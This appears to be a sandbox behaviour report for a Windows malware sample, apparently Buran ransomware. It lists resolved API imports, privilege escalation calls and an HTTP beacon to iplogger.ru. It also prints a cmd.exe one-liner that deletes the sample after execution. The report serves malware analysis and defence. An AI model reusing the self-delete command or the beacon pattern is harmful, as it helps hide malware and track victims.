Get Address c:\windows\syswow64\kernel32.dll function = InitializeCriticalSectionEx, address_out = 0x76c34d28 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = CreateEventExW, address_out = 0x76cb410b True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = CreateSemaphoreExW, address_out = 0x76cb4195 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = SetThreadStackGuarantee, address_out = 0x76c3d31f True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = CreateThreadpoolTimer, address_out = 0x76c4ee7e True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = SetThreadpoolTimer, address_out = 0x7717441c True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = WaitForThreadpoolTimerCallbacks, address_out = 0x7719c50e True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = CloseThreadpoolTimer, address_out = 0x7719c381 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = CreateThreadpoolWait, address_out = 0x76c4f088 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = SetThreadpoolWait, address_out = 0x771805d7 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = CloseThreadpoolWait, address_out = 0x7719ca24 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = FlushProcessWriteBuffers, address_out = 0x77150b8c True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = FreeLibraryWhenCallbackReturns, address_out = 0x7720fde8 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetCurrentProcessorNumber, address_out = 0x771a1e1d True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetLogicalProcessorInformation, address_out = 0x76cb4761 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = CreateSymbolicLinkW, address_out = 0x76cacd11 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = SetDefaultDllDirectories, address_out = 0x0 False 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = EnumSystemLocalesEx, address_out = 0x76cb424f True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = CompareStringEx, address_out = 0x76cb46b1 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetDateFormatEx, address_out = 0x76cc6676 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetLocaleInfoEx, address_out = 0x76cb4751 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetTimeFormatEx, address_out = 0x76cc65f1 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetUserDefaultLocaleName, address_out = 0x76cb47c1 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = IsValidLocaleName, address_out = 0x76cb47e1 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = LCMapStringEx, address_out = 0x76cb47f1 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetCurrentPackageId, address_out = 0x0 False 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetTickCount64, address_out = 0x76c4eee0 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetFileInformationByHandleExW, address_out = 0x0 False 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = SetFileInformationByHandleW, address_out = 0x0 False 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GlobalAlloc, address_out = 0x76c3588e True 2
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetLastError, address_out = 0x76c311c0 True 2
Fn
Get Address c:\windows\syswow64\kernel32.dll function = Sleep, address_out = 0x76c310ff True 3
Fn
Get Address c:\windows\syswow64\kernel32.dll function = CreateToolhelp32Snapshot, address_out = 0x76c5735f True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = Module32First, address_out = 0x76cb5cd9 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = CloseHandle, address_out = 0x76c31410 True 2
Fn
Get Address c:\windows\syswow64\kernel32.dll function = LoadLibraryA, address_out = 0x76c349d7 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = VirtualAlloc, address_out = 0x76c31856 True 2
Fn
Get Address c:\windows\syswow64\kernel32.dll function = VirtualProtect, address_out = 0x76c3435f True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = VirtualFree, address_out = 0x76c3186e True 2
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetVersionExA, address_out = 0x76c33519 True 2
Fn
Get Address c:\windows\syswow64\kernel32.dll function = TerminateProcess, address_out = 0x76c4d802 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = ExitProcess, address_out = 0x76c37a10 True 3
Fn
Get Address c:\windows\syswow64\kernel32.dll function = SetErrorMode, address_out = 0x76c31b00 True 1
Fn
Get Address c:\windows\syswow64\oleaut32.dll function = SysFreeString, address_out = 0x75223e59 True 1
Fn
Get Address c:\windows\syswow64\oleaut32.dll function = SysReAllocStringLen, address_out = 0x75227810 True 1
Fn
Get Address c:\windows\syswow64\oleaut32.dll function = SysAllocStringLen, address_out = 0x752245d2 True 1
Fn
Get Address c:\windows\syswow64\advapi32.dll function = RegQueryValueExA, address_out = 0x74d548ef True 2
Fn
Get Address c:\windows\syswow64\advapi32.dll function = RegOpenKeyExA, address_out = 0x74d54907 True 2
Fn
Get Address c:\windows\syswow64\advapi32.dll function = RegCloseKey, address_out = 0x74d5469d True 2
Fn
Get Address c:\windows\syswow64\user32.dll function = GetKeyboardType, address_out = 0x74f99ac4 True 1
Fn
Get Address c:\windows\syswow64\user32.dll function = DestroyWindow, address_out = 0x74f59a55 True 1
Fn
Get Address c:\windows\syswow64\user32.dll function = LoadStringA, address_out = 0x74f5db21 True 2
Fn
Get Address c:\windows\syswow64\user32.dll function = MessageBoxA, address_out = 0x74fafd1e True 2
Fn
Get Address c:\windows\syswow64\user32.dll function = CharNextA, address_out = 0x74f57a1b True 2
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetACP, address_out = 0x76c3179c True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetTickCount, address_out = 0x76c3110c True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = QueryPerformanceCounter, address_out = 0x76c31725 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetCurrentThreadId, address_out = 0x76c31450 True 2
Fn
Get Address c:\windows\syswow64\kernel32.dll function = InterlockedDecrement, address_out = 0x76c313f0 True 2
Fn
Get Address c:\windows\syswow64\kernel32.dll function = InterlockedIncrement, address_out = 0x76c31400 True 2
Fn
Get Address c:\windows\syswow64\kernel32.dll function = VirtualQuery, address_out = 0x76c3445a True 2
Fn
Get Address c:\windows\syswow64\kernel32.dll function = WideCharToMultiByte, address_out = 0x76c3170d True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = MultiByteToWideChar, address_out = 0x76c3192e True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = lstrlenA, address_out = 0x76c35a4b True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = lstrcpynA, address_out = 0x76c4192a True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = LoadLibraryExA, address_out = 0x76c34913 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetThreadLocale, address_out = 0x76c335cf True 2
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetStartupInfoA, address_out = 0x76c30e00 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetProcAddress, address_out = 0x76c31222 True 2
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetModuleHandleA, address_out = 0x76c31245 True 3
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetModuleFileNameA, address_out = 0x76c314b1 True 2
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetLocaleInfoA, address_out = 0x76c4d5e5 True 2
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetCommandLineA, address_out = 0x76c351a1 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = FreeLibrary, address_out = 0x76c334c8 True 2
Fn
Get Address c:\windows\syswow64\kernel32.dll function = FindFirstFileA, address_out = 0x76c3e2ce True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = FindClose, address_out = 0x76c34442 True 2
Fn
Get Address c:\windows\syswow64\kernel32.dll function = ExitThread, address_out = 0x7718d598 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = CreateThread, address_out = 0x76c334d5 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = WriteFile, address_out = 0x76c31282 True 2
Fn
Get Address c:\windows\syswow64\kernel32.dll function = UnhandledExceptionFilter, address_out = 0x76c5772f True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = RtlUnwind, address_out = 0x76c5d1c3 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = RaiseException, address_out = 0x76c358a6 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetStdHandle, address_out = 0x76c351b3 True 2
Fn
Get Address c:\windows\syswow64\kernel32.dll function = TlsSetValue, address_out = 0x76c314fb True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = TlsGetValue, address_out = 0x76c311e0 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = LocalAlloc, address_out = 0x76c3168c True 1
Fn
Get Address c:\windows\syswow64\user32.dll function = TranslateMessage, address_out = 0x74f57809 True 1
Fn
Get Address c:\windows\syswow64\user32.dll function = PeekMessageA, address_out = 0x74f65f74 True 1
Fn
Get Address c:\windows\syswow64\user32.dll function = MsgWaitForMultipleObjects, address_out = 0x74f60b4a True 1
Fn
Get Address c:\windows\syswow64\user32.dll function = GetSystemMetrics, address_out = 0x74f57d2f True 1
Fn
Get Address c:\windows\syswow64\user32.dll function = DispatchMessageA, address_out = 0x74f57bbb True 1
Fn
Get Address c:\windows\syswow64\user32.dll function = CharNextW, address_out = 0x74f58151 True 1
Fn
Get Address c:\windows\syswow64\user32.dll function = CharLowerBuffW, address_out = 0x74f5760b True 1
Fn
Get Address c:\windows\syswow64\user32.dll function = CharLowerBuffA, address_out = 0x74f64f38 True 1
Fn
Get Address c:\windows\syswow64\user32.dll function = CharToOemA, address_out = 0x74f64fee True 1
Fn
Get Address c:\windows\syswow64\mpr.dll function = WNetOpenEnumA, address_out = 0x74a8b1e2 True 1
Fn
Get Address c:\windows\syswow64\mpr.dll function = WNetEnumResourceA, address_out = 0x74a8a674 True 1
Fn
Get Address c:\windows\syswow64\mpr.dll function = WNetCloseEnum, address_out = 0x74a82dd6 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = WaitForSingleObject, address_out = 0x76c31136 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = SetFilePointer, address_out = 0x76c317d1 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = SetFileAttributesW, address_out = 0x76c4d4f7 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = SetEvent, address_out = 0x76c316c5 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = SetEndOfFile, address_out = 0x76c4ce2e True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = ResumeThread, address_out = 0x76c343ef True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = ResetEvent, address_out = 0x76c316dd True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = ReadFile, address_out = 0x76c33ed3 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = MoveFileW, address_out = 0x76c49af0 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = LeaveCriticalSection, address_out = 0x77152270 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = InitializeCriticalSection, address_out = 0x77162c42 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GlobalUnlock, address_out = 0x76c4cfdf True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GlobalReAlloc, address_out = 0x76c4e4be True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GlobalHandle, address_out = 0x76c5d27c True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GlobalLock, address_out = 0x76c4d0a7 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GlobalFree, address_out = 0x76c35558 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetUserDefaultLangID, address_out = 0x76c4d5fd True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetModuleFileNameW, address_out = 0x76c34950 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetLocalTime, address_out = 0x76c35aa6 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetFullPathNameA, address_out = 0x76c3e2c1 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetExitCodeThread, address_out = 0x76c4d5b5 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetEnvironmentVariableW, address_out = 0x76c31b48 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetEnvironmentVariableA, address_out = 0x76c333a0 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetDriveTypeA, address_out = 0x76c4ef75 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetDiskFreeSpaceA, address_out = 0x76cb433f True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetDateFormatA, address_out = 0x76c5a959 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetCurrentProcess, address_out = 0x76c31809 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetCommandLineW, address_out = 0x76c35223 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetCPInfo, address_out = 0x76c35189 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = InterlockedExchange, address_out = 0x76c31462 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = FormatMessageA, address_out = 0x76c55fbd True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = FindNextFileW, address_out = 0x76c354ee True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = FindFirstFileW, address_out = 0x76c34435 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = FileTimeToLocalFileTime, address_out = 0x76c3e29e True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = FileTimeToDosDateTime, address_out = 0x76c4c86d True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = EnumCalendarInfoA, address_out = 0x76c59e70 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = EnterCriticalSection, address_out = 0x771522b0 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = DeleteFileW, address_out = 0x76c389b3 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = DeleteCriticalSection, address_out = 0x771645f5 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = CreateProcessW, address_out = 0x76c3103d True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = CreateFileW, address_out = 0x76c33f5c True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = CreateFileA, address_out = 0x76c353c6 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = CreateEventA, address_out = 0x76c3328c True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = CompareStringA, address_out = 0x76c33c5a True 1
Fn
Get Address c:\windows\syswow64\advapi32.dll function = RegSetValueExA, address_out = 0x74d514b3 True 1
Fn
Get Address c:\windows\syswow64\advapi32.dll function = RegCreateKeyExA, address_out = 0x74d51469 True 1
Fn
Get Address c:\windows\syswow64\advapi32.dll function = OpenProcessToken, address_out = 0x74d54304 True 1
Fn
Get Address c:\windows\syswow64\advapi32.dll function = LookupPrivilegeValueA, address_out = 0x74d5404a True 1
Fn
Get Address c:\windows\syswow64\advapi32.dll function = AdjustTokenPrivileges, address_out = 0x74d5418e True 1
Fn
Get Address c:\windows\syswow64\shell32.dll function = ShellExecuteW, address_out = 0x75fe3c71 True 1
Fn
Get Address c:\windows\syswow64\oleaut32.dll function = SafeArrayPtrOfIndex, address_out = 0x7523e1ce True 1
Fn
Get Address c:\windows\syswow64\oleaut32.dll function = SafeArrayGetUBound, address_out = 0x7523e127 True 1
Fn
Get Address c:\windows\syswow64\oleaut32.dll function = SafeArrayGetLBound, address_out = 0x7523e173 True 1
Fn
Get Address c:\windows\syswow64\oleaut32.dll function = SafeArrayCreate, address_out = 0x7523e263 True 1
Fn
Get Address c:\windows\syswow64\oleaut32.dll function = VariantChangeType, address_out = 0x75225dee True 1
Fn
Get Address c:\windows\syswow64\oleaut32.dll function = VariantCopy, address_out = 0x752248f1 True 1
Fn
Get Address c:\windows\syswow64\oleaut32.dll function = VariantClear, address_out = 0x75223eae True 1
Fn
Get Address c:\windows\syswow64\oleaut32.dll function = VariantInit, address_out = 0x75223ed5 True 1
Fn
Get Address c:\windows\syswow64\wininet.dll function = InternetReadFile, address_out = 0x753eb406 True 1
Fn
Get Address c:\windows\syswow64\wininet.dll function = InternetOpenA, address_out = 0x753ff18e True 1
Fn
Get Address c:\windows\syswow64\wininet.dll function = InternetConnectA, address_out = 0x753f49e9 True 1
Fn
Get Address c:\windows\syswow64\wininet.dll function = InternetCloseHandle, address_out = 0x753eab49 True 1
Fn
Get Address c:\windows\syswow64\wininet.dll function = HttpSendRequestA, address_out = 0x754618f8 True 1
Fn
Get Address c:\windows\syswow64\wininet.dll function = HttpOpenRequestA, address_out = 0x753f4c7d True 1
Fn
Get Address c:\windows\syswow64\wininet.dll function = HttpAddRequestHeadersA, address_out = 0x753edcd2 True 1
Fn
Get Address c:\windows\syswow64\shell32.dll function = SHGetSpecialFolderLocation, address_out = 0x7605e141 True 1
Fn
Get Address c:\windows\syswow64\shell32.dll function = SHGetPathFromIDListW, address_out = 0x760617bf True 1
Fn
Get Address c:\windows\syswow64\shell32.dll function = SHGetMalloc, address_out = 0x75ff0602 True 1
Fn
Get Address c:\windows\syswow64\msvcr100.dll function = atexit, address_out = 0x749dc544 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetDiskFreeSpaceExA, address_out = 0x76cb434f True 1
Fn
Get Address c:\windows\syswow64\oleaut32.dll function = VariantChangeTypeEx, address_out = 0x75224c28 True 1
Fn
Get Address c:\windows\syswow64\oleaut32.dll function = VarNeg, address_out = 0x7529c802 True 1
Fn
Get Address c:\windows\syswow64\oleaut32.dll function = VarNot, address_out = 0x7529ec66 True 1
Fn
Get Address c:\windows\syswow64\oleaut32.dll function = VarAdd, address_out = 0x75245934 True 1
Fn
Get Address c:\windows\syswow64\oleaut32.dll function = VarSub, address_out = 0x7529d332 True 1
Fn
Get Address c:\windows\syswow64\oleaut32.dll function = VarMul, address_out = 0x7529dbd4 True 1
Fn
Get Address c:\windows\syswow64\oleaut32.dll function = VarDiv, address_out = 0x7529e405 True 1
Fn
Get Address c:\windows\syswow64\oleaut32.dll function = VarIdiv, address_out = 0x7529f00a True 1
Fn
Get Address c:\windows\syswow64\oleaut32.dll function = VarMod, address_out = 0x7529f15e True 1
Fn
Get Address c:\windows\syswow64\oleaut32.dll function = VarAnd, address_out = 0x75245a98 True 1
Fn
Get Address c:\windows\syswow64\oleaut32.dll function = VarOr, address_out = 0x7529ecfa True 1
Fn
Get Address c:\windows\syswow64\oleaut32.dll function = VarXor, address_out = 0x7529ee2e True 1
Fn
Get Address c:\windows\syswow64\oleaut32.dll function = VarCmp, address_out = 0x7523b0dc True 1
Fn
Get Address c:\windows\syswow64\oleaut32.dll function = VarI4FromStr, address_out = 0x75236fab True 1
Fn
Get Address c:\windows\syswow64\oleaut32.dll function = VarR4FromStr, address_out = 0x752401a0 True 1
Fn
Get Address c:\windows\syswow64\oleaut32.dll function = VarR8FromStr, address_out = 0x7523699e True 1
Fn
Get Address c:\windows\syswow64\oleaut32.dll function = VarDateFromStr, address_out = 0x75246ba7 True 1
Fn
Get Address c:\windows\syswow64\oleaut32.dll function = VarCyFromStr, address_out = 0x75266c12 True 1
Fn
Get Address c:\windows\syswow64\oleaut32.dll function = VarBoolFromStr, address_out = 0x7523dbd1 True 1
Fn
Get Address c:\windows\syswow64\oleaut32.dll function = VarBstrFromCy, address_out = 0x75247fdc True 1
Fn
Get Address c:\windows\syswow64\oleaut32.dll function = VarBstrFromDate, address_out = 0x75237a2a True 1
Fn
Get Address c:\windows\syswow64\oleaut32.dll function = VarBstrFromBool, address_out = 0x75240355 True 1
Fn
User (1)
»
Operation Additional Information Success Count Logfile
Lookup Privilege privilege = SeDebugPrivilege, luid = 20 True 1
Fn
Keyboard (1)
»
Operation Additional Information Success Count Logfile
Get Info type = 0, result_out = 4 True 1
Fn
System (873)
»
Operation Additional Information Success Count Logfile
Sleep duration = 100 milliseconds (0.100 seconds) True 5
Fn
Sleep duration = 10 milliseconds (0.010 seconds) True 609
Fn
Get Time type = System Time, time = 1627-02-27 17:06:36 (UTC) True 1
Fn
Get Time type = Performance Ctr, time = 15620984323 True 1
Fn
Get Time type = Ticks, time = 101634 True 167
Fn
Get Time type = Ticks, time = 101650 True 82
Fn
Get Time type = Performance Ctr, time = 15682311146 True 1
Fn
Get Time type = Performance Ctr, time = 15752486908 True 1
Fn
Get Time type = Performance Ctr, time = 15752492573 True 1
Fn
Get Time type = Performance Ctr, time = 15752497723 True 1
Fn
Get Time type = Performance Ctr, time = 15752502776 True 1
Fn
Get Time type = Performance Ctr, time = 15752507779 True 1
Fn
Get Info type = Operating System True 2
Fn
Environment (10)
»
Operation Additional Information Success Count Logfile
Get Environment String - True 1
Fn
Data
Get Environment String name = TEMP, result_out = C:\Users\5P5NRG~1\AppData\Local\Temp True 2
Fn
Get Environment String name = COMSPEC, result_out = C:\Windows\system32\cmd.exe True 7
Fn
Debug (249)
»
Operation Process Additional Information Success Count Logfile
Detach - - False 249
Fn
Network Behavior
HTTP Sessions (1)
»
Information Value
Total Data Sent 114 bytes
Total Data Received 585 bytes
Contacted Host Count 1
Contacted Hosts 88.99.66.31
HTTP Session #1
»
Information Value
User Agent BURAN
Server Name iplogger.ru
Server Port 80
Username -
Password -
Data Sent 114 bytes
Data Received 585 bytes
Operation Additional Information Success Count Logfile
Open Session access_type = INTERNET_OPEN_TYPE_PRECONFIG True 1
Fn
Open Connection protocol = HTTP, server_name = iplogger.ru, server_port = 80 True 1
Fn
Open HTTP Request http_verb = GET, http_version = HTTP 1.1, target_resource = 1h7p27.html, accept_types = 0, flags = INTERNET_FLAG_IDN_DIRECT, INTERNET_FLAG_IDN_PROXY True 1
Fn
Add HTTP Request Headers headers = Host: iplogger.ru User-Agent: BURAN Referer: 124967DE-E03F-B19B-7B3E-F7624B9CAA4D True 1
Fn
Send HTTP Request headers = WINHTTP_NO_ADDITIONAL_HEADERS, url = iplogger.ru/1h7p27.html True 1
Fn
Read Response size = 4097, size_out = 116 True 1
Fn
Data
Read Response size = 4097, size_out = 0 True 1
Fn
Close Session - True 1
Fn
Process #5: cmd.exe
142 0
»
Information Value
ID #5
File Name c:\windows\syswow64\cmd.exe
Command Line "C:\Windows\system32\cmd.exe" /c for /l %x in (1,1,999) do ( ping -n 3 127.1 & del "C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\loseless.exe" & if not exist "C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\loseless.exe" exit )
Initial Working Directory C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\
Monitor Start Time: 00:00:35, Reason: Child Process
Unmonitor End Time: 00:00:40, Reason: Self Terminated
Monitor Duration 00:00:04
OS Process Information
»
Information Value
PID 0x9f0
Parent PID 0x9a4 (c:\users\5p5nrgjn0js halpmcxz\desktop\loseless.exe)
Bitness 32-bit
Is Created or Modified Executable False
Integrity Level High (Elevated)
Username XDUWTFONO\5p5NrGJn0jS HALPmcxz
Enabled Privileges SeChangeNotifyPrivilege, SeImpersonatePrivilege, SeCreateGlobalPrivilege
Thread IDs
0x 9F4
Host Behavior
File (91)
»
Operation Filename Additional Information Success Count Logfile
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Desktop type = file_attributes True 3
Fn
Get Info STD_OUTPUT_HANDLE type = file_type True 16
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\loseless.exe type = file_attributes True 2
Fn
Open STD_OUTPUT_HANDLE - True 51
Fn
Open STD_INPUT_HANDLE - True 2
Fn
Write STD_OUTPUT_HANDLE size = 2 True 4
Fn
Data
Write STD_OUTPUT_HANDLE size = 38 True 1
Fn
Data
Write STD_OUTPUT_HANDLE size = 1 True 1
Fn
Data
Write STD_OUTPUT_HANDLE size = 4 True 3
Fn
Data
Write STD_OUTPUT_HANDLE size = 13 True 1
Fn
Data
Write STD_OUTPUT_HANDLE size = 3 True 4
Fn
Data
Write STD_OUTPUT_HANDLE size = 55 True 1
Fn
Data
Write STD_OUTPUT_HANDLE size = 59 True 1
Fn
Data
Delete C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\loseless.exe - True 1
Fn
Registry (17)
»
Operation Key Additional Information Success Count Logfile
Open Key HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\System - False 1
Fn
Open Key HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor - True 1
Fn
Open Key HKEY_CURRENT_USER\Software\Microsoft\Command Processor - True 1
Fn
Read Value HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor value_name = DisableUNCCheck, data = 0, type = REG_NONE False 1
Fn
Read Value HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor value_name = EnableExtensions, data = 1, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Read Value HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor value_name = DelayedExpansion, data = 1, type = REG_NONE False 1
Fn
Read Value HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor value_name = DefaultColor, data = 0, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Read Value HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor value_name = CompletionChar, data = 64, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Read Value HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor value_name = PathCompletionChar, data = 64, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Read Value HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor value_name = AutoRun, data = 64, type = REG_NONE False 1
Fn
Read Value HKEY_CURRENT_USER\Software\Microsoft\Command Processor value_name = DisableUNCCheck, data = 64, type = REG_NONE False 1
Fn
Read Value HKEY_CURRENT_USER\Software\Microsoft\Command Processor value_name = EnableExtensions, data = 1, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Read Value HKEY_CURRENT_USER\Software\Microsoft\Command Processor value_name = DelayedExpansion, data = 1, type = REG_NONE False 1
Fn
Read Value HKEY_CURRENT_USER\Software\Microsoft\Command Processor value_name = DefaultColor, data = 0, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Read Value HKEY_CURRENT_USER\Software\Microsoft\Command Processor value_name = CompletionChar, data = 9, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Read Value HKEY_CURRENT_USER\Software\Microsoft\Command Processor value_name = PathCompletionChar, data = 9, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Read Value HKEY_CURRENT_USER\Software\Microsoft\Command Processor value_name = AutoRun, data = 9, type = REG_NONE False 1
Fn
Process (1)
»
Operation Process Additional Information Success Count Logfile
Create C:\Windows\system32\PING.EXE os_pid = 0xa08, creation_flags = CREATE_EXTENDED_STARTUPINFO_PRESENT, show_window = SW_SHOWNORMAL True 1
Fn
Module (8)
»
Operation Module Additional Information Success Count Logfile
Get Handle c:\windows\syswow64\cmd.exe base_address = 0x4a6c0000 True 1
Fn
Get Handle c:\windows\syswow64\kernel32.dll base_address = 0x76c20000 True 2
Fn
Get Filename - process_name = c:\windows\syswow64\cmd.exe, file_name_orig = C:\Windows\SysWOW64\cmd.exe, size = 260 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = SetThreadUILanguage, address_out = 0x76c4a84f True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = CopyFileExW, address_out = 0x76c53b92 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = IsDebuggerPresent, address_out = 0x76c34a5d True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = SetConsoleInputExeNameW, address_out = 0x76c4a79d True 1
Fn
System (3)
»
Operation Additional Information Success Count Logfile
Get Time type = System Time, time = 1627-02-27 17:06:36 (UTC) True 1
Fn
Get Time type = Ticks, time = 101806 True 1
Fn
Get Time type = Performance Ctr, time = 15644219887 True 1
Fn
Environment (20)
»
Operation Additional Information Success Count Logfile
Get Environment String - True 7
Fn
Data
Get Environment String name = PATH, result_out = C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\ True 2
Fn
Get Environment String name = PATHEXT, result_out = .COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC True 1
Fn
Get Environment String name = PROMPT False 1
Fn
Get Environment String name = COMSPEC, result_out = C:\Windows\system32\cmd.exe True 1
Fn
Get Environment String name = KEYS False 1
Fn
Get Environment String name = x in (1,1,999) do ( ping -n 3 127.1 & del "C False 1
Fn
Get Environment String name = PROMPT, result_out = $P$G True 1
Fn
Set Environment String name = PROMPT, value = $P$G True 1
Fn
Set Environment String name = =C:, value = C:\Users\5p5NrGJn0jS HALPmcxz\Desktop True 1
Fn
Set Environment String name = COPYCMD True 1
Fn
Set Environment String name = =ExitCode, value = 00000000 True 1
Fn
Set Environment String name = =ExitCodeAscii True 1
Fn
Process #6: ping.exe
25 1
»
Information Value
ID #6
File Name c:\windows\syswow64\ping.exe
Command Line ping -n 3 127.1
Initial Working Directory C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\
